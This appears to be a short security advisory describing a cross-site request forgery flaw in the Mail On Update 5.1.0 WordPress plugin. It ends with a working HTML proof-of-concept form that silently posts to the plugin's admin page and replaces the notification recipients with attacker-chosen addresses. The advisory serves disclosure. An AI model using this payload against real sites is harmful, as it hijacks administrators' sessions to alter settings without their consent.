source: http://www.securityfocus.com/bid/59932/info

The Mail On Update plugin for WordPress is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Mail On Update 5.1.0 is vulnerable; prior versions may also be affected. 

<html><form action="https://example.com/wp/wp-admin/options-general.php?page=mail-on-update"; method="post" 
class="buttom-primary">
<input name="mailonupdate_mailto" type="hidden" value="example0 () example com
example1 () example com
example2 () example com
example3 () example com
example4 () example com
example5 () example com
example6 () example com
example7 () example com
example8 () example com
example9 () example com
example10 () example com
henri+monkey () nerv fi" />
<input name="submit" type="submit" value="Save"/></form></html>
